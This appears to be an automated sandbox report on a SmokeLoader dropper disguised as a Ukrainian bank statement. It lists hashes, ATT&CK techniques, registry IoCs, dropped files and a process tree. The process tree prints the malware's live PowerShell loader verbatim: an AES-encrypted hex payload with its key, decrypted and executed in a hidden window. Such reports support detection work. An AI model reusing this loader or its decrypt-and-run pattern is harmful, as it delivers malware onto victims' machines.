smokeloader | 35c1eb5ff8913c4ca4feb712e05354772146247bdb4b337868c687730f201023

Analysis

max time kernel
141s
max time network
133s
platform
windows10-2004_x64
resource
win10v2004-20250129-en
resource tags

arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
submitted
05/02/2025, 12:35

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General

Target

Виписка_за_сiчень_2025_ТОВ_30343667.js
Size

16KB
MD5

176c3de6c4a1ac5c34b6d6be54fca774
SHA1

73efc19941b9341f7735a616888b4f306b4815eb
SHA256

35c1eb5ff8913c4ca4feb712e05354772146247bdb4b337868c687730f201023
SHA512

fa72ece6c653565da20dfa3a530b5a5b537e84675fba4f86ac3429aac075951838e31e6b968ee9c493ea3663b1eafa5f0076e6e445b04415258f1409910c3789
SSDEEP

384:kmEPupCtEbRpMDRttoR/eRQRnR0YmRrVBhrpOJ9/awXJ1XIHN1w2/tptXvERR7FM:kmEPupCtEbRpMDRttoR/eRQRnR0YmRrr

Score

10^/10

smokeloader backdoor discovery execution trojan

Malware Config

Signatures

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Smokeloader family
smokeloader

Blocklisted process makes network request 1 IoCs

flow	pid	Process
1	752	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3625106387-4207083342-115176794-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 2 IoCs

pid	Process
1404	svc1.exe
3396	svc1.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
752	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1404 set thread context of 3396	1404	svc1.exe	92

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4692	1404	WerFault.exe	91

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svc1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	svc1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	svc1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	svc1.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3625106387-4207083342-115176794-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3625106387-4207083342-115176794-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
752	powershell.exe
752	powershell.exe
3036	AcroRd32.exe
3036	AcroRd32.exe
3036	AcroRd32.exe
3036	AcroRd32.exe
3036	AcroRd32.exe
3036	AcroRd32.exe
3036	AcroRd32.exe
3036	AcroRd32.exe
3036	AcroRd32.exe
3036	AcroRd32.exe
3036	AcroRd32.exe
3036	AcroRd32.exe
3036	AcroRd32.exe
3036	AcroRd32.exe
3036	AcroRd32.exe
3036	AcroRd32.exe
3036	AcroRd32.exe
3036	AcroRd32.exe
3036	AcroRd32.exe
3036	AcroRd32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	752	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3036	AcroRd32.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
3036	AcroRd32.exe
3036	AcroRd32.exe
3036	AcroRd32.exe
3036	AcroRd32.exe
3036	AcroRd32.exe
3036	AcroRd32.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4000 wrote to memory of 752	4000	wscript.exe	83
PID 4000 wrote to memory of 752	4000	wscript.exe	83
PID 752 wrote to memory of 3036	752	powershell.exe	90
PID 752 wrote to memory of 3036	752	powershell.exe	90
PID 752 wrote to memory of 3036	752	powershell.exe	90
PID 752 wrote to memory of 1404	752	powershell.exe	91
PID 752 wrote to memory of 1404	752	powershell.exe	91
PID 752 wrote to memory of 1404	752	powershell.exe	91
PID 1404 wrote to memory of 3396	1404	svc1.exe	92
PID 1404 wrote to memory of 3396	1404	svc1.exe	92
PID 1404 wrote to memory of 3396	1404	svc1.exe	92
PID 1404 wrote to memory of 3396	1404	svc1.exe	92
PID 1404 wrote to memory of 3396	1404	svc1.exe	92
PID 1404 wrote to memory of 3396	1404	svc1.exe	92
PID 3036 wrote to memory of 2976	3036	AcroRd32.exe	96
PID 3036 wrote to memory of 2976	3036	AcroRd32.exe	96
PID 3036 wrote to memory of 2976	3036	AcroRd32.exe	96
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 2736	2976	RdrCEF.exe	97
PID 2976 wrote to memory of 3328	2976	RdrCEF.exe	98
PID 2976 wrote to memory of 3328	2976	RdrCEF.exe	98
PID 2976 wrote to memory of 3328	2976	RdrCEF.exe	98
PID 2976 wrote to memory of 3328	2976	RdrCEF.exe	98
PID 2976 wrote to memory of 3328	2976	RdrCEF.exe	98
PID 2976 wrote to memory of 3328	2976	RdrCEF.exe	98

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Виписка_за_сiчень_2025_ТОВ_30343667.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function aworhDFA($DBXH){-split($DBXH -replace '..', '0x$& ')};$fALc=aworhDFA('EED9B197D54DA6B92EB15CC03B6D445E27AD607169CBA361AA91D9402EDBC0C59EC498856B0060A6651C9C59FE14940CA5E92DDC0500A4AF1EC5A5176CCFB7633437BE8F8C27CFB2519140315EEF0F35B22F050FD11A56C2661CC2C936E15E40F0D77BE011A826A380FD9283DA89508ECAA4BFC478B7B2FF3378F47B1785BD6BEE2C611511611D0838DB78AE5A10E3AE41CB337DC7C678D511D469F5DDFC3BD23CD16C73FF9683485A7A769386476C80BA6EF39FB9F50ACFCBA61E3A07C66B9B177FC3E3B90BA283B109B05AB08640572345230FCF45582958002D491D707CAD30F8174D9906702B2A074754CC3CCD660423AF0674172F1E5BD9F0C147DBAA46C4B54D9674F6C5D519B6EBF733A9180104DB077C85E6CA99483071D62BED6074273D89E196FA0590FA319E661A51C38CEC9E5EEF90D255E29B0EE1A3EC742AB27B6CB96EA153F362E4FE0258DD1BBE74952CD44BB888325B2DE507E129C2F15315E099048EE6FB3499FAE653F423716E464961321B5F39873241233B8DA0CBCD49A7EBA7BA500594C5E9A89C2A4E423F959C2CDCE53334EF939E066695907C914CA8C53111E72D9E3E5FA4A1CDBBA6E9E0E5F4DC8B185A47AA2D54ACC70BB307740CAB75FF143AACC56A265375DB30FAE661837CF21D6F7B734DA9F1B6ED5B57');$GUBnhtMFt=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((aworhDFA('686B714850464741614A776B46717654')),[byte[]]::new(16)).TransformFinalBlock($fALc,0,$fALc.Length)); & $GUBnhtMFt.Substring(0,3) $GUBnhtMFt.Substring(82)
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:752
- - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\invoce2.pdf"
    3⤵
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Modifies Internet Explorer settings
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3036
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2976
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=3DF6DA0BBFC8B9F2116498EF86A0EF42 --mojo-platform-channel-handle=1740 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2736
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=466F309792C42BFAE99146C680532111 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=466F309792C42BFAE99146C680532111 --renderer-client-id=2 --mojo-platform-channel-handle=1752 --allow-no-sandbox-job /prefetch:1
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3328
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=192E20B89EC69AC58C35F453BBDF0B01 --mojo-platform-channel-handle=2280 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1544
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=57E38265BBA491D1BD3DCD21426F84C3 --mojo-platform-channel-handle=1804 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4400
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=8851D6BD3570B0634FCA283E1A056F34 --mojo-platform-channel-handle=2488 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3848
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=D7CCC72BFB8C1FD6981A1B49D502E549 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=D7CCC72BFB8C1FD6981A1B49D502E549 --renderer-client-id=7 --mojo-platform-channel-handle=1964 --allow-no-sandbox-job /prefetch:1
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3100
- - C:\Users\Admin\AppData\Roaming\svc1.exe
    "C:\Users\Admin\AppData\Roaming\svc1.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1404
  - - C:\Users\Admin\AppData\Roaming\svc1.exe
      "C:\Users\Admin\AppData\Roaming\svc1.exe"
      4⤵
      Executes dropped EXE
      Checks SCSI registry key(s)
      PID:3396
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1404 -s 812
      4⤵
      Program crash
      PID:4692

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1404 -ip 1404
1⤵
PID:1736

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4264

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
64KB

MD5
d6bd137767a8d724b6fb91f8a95b982f

SHA1
777c9497b09c141bfd8c3f17970a62b6d930db4b

SHA256
cfb094d71685c1b67384b2d1ac221551c412dc7f9c407be1670d746aff99d25f

SHA512
7b5fd41df4d1b97d1f479cbafc695887da24a737d1dbe492d1d3a60d8f3c960899a1bd885c71613a5062673224ee878b252279d5727d039395db883c1b675db9

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
36KB

MD5
b30d3becc8731792523d599d949e63f5

SHA1
19350257e42d7aee17fb3bf139a9d3adb330fad4

SHA256
b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3

SHA512
523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
56KB

MD5
752a1f26b18748311b691c7d8fc20633

SHA1
c1f8e83eebc1cc1e9b88c773338eb09ff82ab862

SHA256
111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131

SHA512
a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2dqebd1p.0ho.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\invoce2.pdf

Filesize
364KB

MD5
c1380960e290da0e4117ac25b7cfde01

SHA1
dc02576656cdf55e4408e5e0a8c9369eabcede65

SHA256
1ded8c21206cb4c4897721705602ee76c68505bf6a4441739da066ac679030fd

SHA512
a2301944c606baf44f35e479f568ed8e6fee32ef72cc7a5492b12c74f48f1f694e1d3a8bb9df5ea50ee5ece7dbc893f7da5415e5e4201ab01ecb342dee56350b

Download Submit
C:\Users\Admin\AppData\Roaming\svc1.exe

Filesize
226KB

MD5
63d0e572062c5bfc60fa8496cebe6ca9

SHA1
806274356d15cecd1b3eb10a50c6d4ddbe4a23d7

SHA256
498ffb8797241785a8667e3be04c743301aaa5b75703847793597a700e41e1a8

SHA512
e9d2b7614660c4e09b6a7006266606a53e83936736e1e05a9878fd5ab903306619e7c32a1c0e658e08cf3b09c7ed7770fe8565451fa8bfabe84de3c9db4fea5f

Download Submit
memory/752-11-0x00007FFF141B0000-0x00007FFF14C71000-memory.dmp

Filesize
10.8MB

Download
memory/752-26-0x000001C7ED0F0000-0x000001C7ED30C000-memory.dmp

Filesize
2.1MB

Download
memory/752-28-0x00007FFF141B0000-0x00007FFF14C71000-memory.dmp

Filesize
10.8MB

Download
memory/752-12-0x00007FFF141B0000-0x00007FFF14C71000-memory.dmp

Filesize
10.8MB

Download
memory/752-0-0x00007FFF141B3000-0x00007FFF141B5000-memory.dmp

Filesize
8KB

Download
memory/752-10-0x000001C7EAF10000-0x000001C7EAF32000-memory.dmp

Filesize
136KB

Download
memory/1404-27-0x0000000000BC0000-0x0000000000BFC000-memory.dmp

Filesize
240KB

Download
memory/1404-29-0x0000000005AB0000-0x0000000006054000-memory.dmp

Filesize
5.6MB

Download
memory/3396-31-0x0000000000400000-0x000000000040B000-memory.dmp

Filesize
44KB

Download